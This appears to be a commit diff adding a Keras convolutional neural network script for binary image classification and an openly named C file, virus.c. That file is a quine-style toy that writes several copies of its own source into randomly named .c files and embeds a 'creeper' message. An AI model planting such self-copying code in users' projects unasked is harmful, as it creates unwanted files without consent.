Convolutional neural network py

Python/cnn_02.py

@@ -0,0 +1,102 @@
+from keras.preprocessing.image import ImageDataGenerator
+from keras.models import Sequential
+from keras.layers import Conv2D, MaxPooling2D
+from keras.layers import Activation, Dropout, Flatten, Dense
+from keras import backend as K
+from keras.preprocessing import image
+import numpy as np
+
+# SET THE DIMENSIONS OF THE IMAGES BEING USED
+img_width, img_height = 150,150
+
+# SET THE TRAIN, TEST AND VALIDATION DIRECTORIES (PLACED ON DESKTOP)
+train_data_dir = 'data/train'
+test_data_dir = 'data/test'
+validation_data_dir = 'data/validation'
+
+# SET THE NUMBER OF SAMPLES FOR TRAINING AND VALIDATION
+nb_train_samples = 1000
+nb_validation_samples = 100
+
+# SET THE NUMBER OF EPOCHS
+epochs = 20
+
+# SET THE BATCH SIZE
+batch_size = 16
+
+if K.image_data_format() == 'channels_first':
+    input_shape = (3, img_width, img_height)
+else:
+    input_shape = (img_width, img_height, 3)
+
+#CONVOLUTIONAL NEURAL NETWORK MODEL HERE
+model = Sequential()
+model.add(Conv2D(32, (3, 3), input_shape=input_shape))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+
+model.add(Conv2D(32, (3, 3)))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Conv2D(64, (3, 3)))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Flatten())
+model.add(Dense(64))
+model.add(Activation('relu'))
+model.add(Dropout(0.5))
+model.add(Dense(1))
+model.add(Activation('sigmoid'))
+model.compile(loss='binary_crossentropy',
+              optimizer='rmsprop',
+metrics=['accuracy'])
+
+# THE FOLLOWING CODE WILL LOAD THE TRAINING AND VALIDATION DATA TO YOUR MODEL NAMED model
+train_datagen = ImageDataGenerator(
+    rescale=1. / 255,
+    rotation_range=90,
+    shear_range=0.2,
+    zoom_range=0.2,
+    horizontal_flip=True)
+
+test_datagen = ImageDataGenerator(rescale=1. / 255)
+
+train_generator = train_datagen.flow_from_directory(
+    train_data_dir,
+    target_size=(img_width, img_height),
+    batch_size=batch_size,
+    class_mode='binary')
+
+validation_generator = test_datagen.flow_from_directory(
+    validation_data_dir,
+    target_size=(img_width, img_height),
+    batch_size=batch_size,
+    class_mode='binary')
+
+model.fit_generator(
+    train_generator,
+    steps_per_epoch=nb_train_samples // batch_size,
+    epochs=epochs,
+    validation_data=validation_generator,
+    validation_steps=nb_validation_samples // batch_size)
+
+# DISPLAY THE CLASS NAME AND INDEX USED FOR TRAINING
+print "Class : Index"
+print train_generator.class_indices
+
+# THE FOLLOWING CODE WILL FEED THE TEST DATA TO YOUR MODEL NAMED model
+test_datagen = ImageDataGenerator(rescale=1. / 255)
+
+validation_generator = test_datagen.flow_from_directory(
+    test_data_dir,
+    target_size=(img_width, img_height),
+    batch_size=batch_size,
+    class_mode='binary')
+
+predict= model.predict_generator(
+    validation_generator,
+    nb_validation_samples // batch_size)
+
+# DISPLAY THE PREDICTED CLASS FOR EACH SAMPLE
+print predict
+

c/virus.c

@@ -0,0 +1,39 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+#include <string.h>
+
+int main() {
+	int i;
+	int ID;
+	ID = (1207274233 % 3) + 2;
+	for(i = 1; i <= ID; i++){
+		char buffer[12];
+		srand(time(NULL)*i);
+		sprintf(buffer,"%d",rand()%1000);
+		strcat(buffer,".c");
+  		FILE* fp;
+  		fp = fopen(buffer,"w");
+  		char *s1="#include <stdio.h>%c#include <stdlib.h>%c#include <time.h>%c#include <string.h>%c%cint main() {%c%cint i;%c%cint ID;%c%cID = (1207274233 % 3) + 2;%c%cfor(i = 1; i <= ID; i++){%c%c%cchar buffer[12];%c%c%csrand(time(NULL)*i);%c%c%csprintf(buffer,%c%cd%c,rand()%1000);%c%c%cstrcat(buffer,%c.c%c);%c%c%cFILE* fp;%c%c%cfp = fopen(buffer,%cw%c);%c";
+  		char *s2="%c%cchar *s%c=%c%s%c;%c%c%cchar *s%c=%c%s%c;%c";
+  		char *s3="%c%cchar n='%cn', q='%c', b='%c%c', t='%ct', s='%';%c";
+  		char *sp="fprintf(fp,";
+  		char *s4="%c%c%ss1,n,n,n,n,n,n,t,n,t,n,t,n,t,n,t,t,n,t,t,n,t,t,q,s,q,n,t,t,q,q,n,t,t,n,t,t,q,q,n);%c";
+  		char *s5="%c%c%ss2,t,t,'1',q,s1,q,n,t,t,'2',q,s2,q,n);  %ss2,t,t,'3',q,s3,q,n,t,t,'p',q,sp,q,n);%c";
+  		char *s6="%c%c%ss2,t,t,'4',q,s4,q,n,t,t,'5',q,s5,q,n);  %ss2,t,t,'6',q,s6,q,n,t,t,'7',q,s7,q,n);%c";
+  		char *s7="%c%c%ss2,t,t,'8',q,s8,q,n,t,t,'9',q,s9,q,n);  %ss2,t,t,'0',q,s0,q,n,t,t,'x',q,sx,q,n);%c";
+  		char *s8="%c%c%ss3,t,t,b,q,b,b,b,n);  %ss4,t,t,sp,n);  %ss5,t,t,sp,sp,n);%c";
+  		char *s9="%c%c%ss6,t,t,sp,sp,n);  %ss7,t,t,sp,sp,n);  %ss8,t,t,sp,sp,sp,n);%c";
+  		char *s0="%c%c%ss9,t,t,sp,sp,sp,n);  %ss0,t,t,sp,sp,n,t,t,n,t,n);%c%c%cfclose(fp);%c%c}%c}";
+  		char *sx="--- I am the creeper, catch me if you can. ---";
+  		char n='\n', q='"', b='\\', t='\t', s='%';
+  		fprintf(fp,s1,n,n,n,n,n,n,t,n,t,n,t,n,t,n,t,t,n,t,t,n,t,t,q,s,q,n,t,t,q,q,n,t,t,n,t,t,q,q,n);
+  		fprintf(fp,s2,t,t,'1',q,s1,q,n,t,t,'2',q,s2,q,n);  fprintf(fp,s2,t,t,'3',q,s3,q,n,t,t,'p',q,sp,q,n);
+  		fprintf(fp,s2,t,t,'4',q,s4,q,n,t,t,'5',q,s5,q,n);  fprintf(fp,s2,t,t,'6',q,s6,q,n,t,t,'7',q,s7,q,n);
+  		fprintf(fp,s2,t,t,'8',q,s8,q,n,t,t,'9',q,s9,q,n);  fprintf(fp,s2,t,t,'0',q,s0,q,n,t,t,'x',q,sx,q,n);
+  		fprintf(fp,s3,t,t,b,q,b,b,b,n);  fprintf(fp,s4,t,t,sp,n);  fprintf(fp,s5,t,t,sp,sp,n);
+  		fprintf(fp,s6,t,t,sp,sp,n);  fprintf(fp,s7,t,t,sp,sp,n);  fprintf(fp,s8,t,t,sp,sp,sp,n);
+  		fprintf(fp,s9,t,t,sp,sp,sp,n);  fprintf(fp,s0,t,t,sp,sp,n,t,t,n,t,n);
+  		fclose(fp);
+	}
+}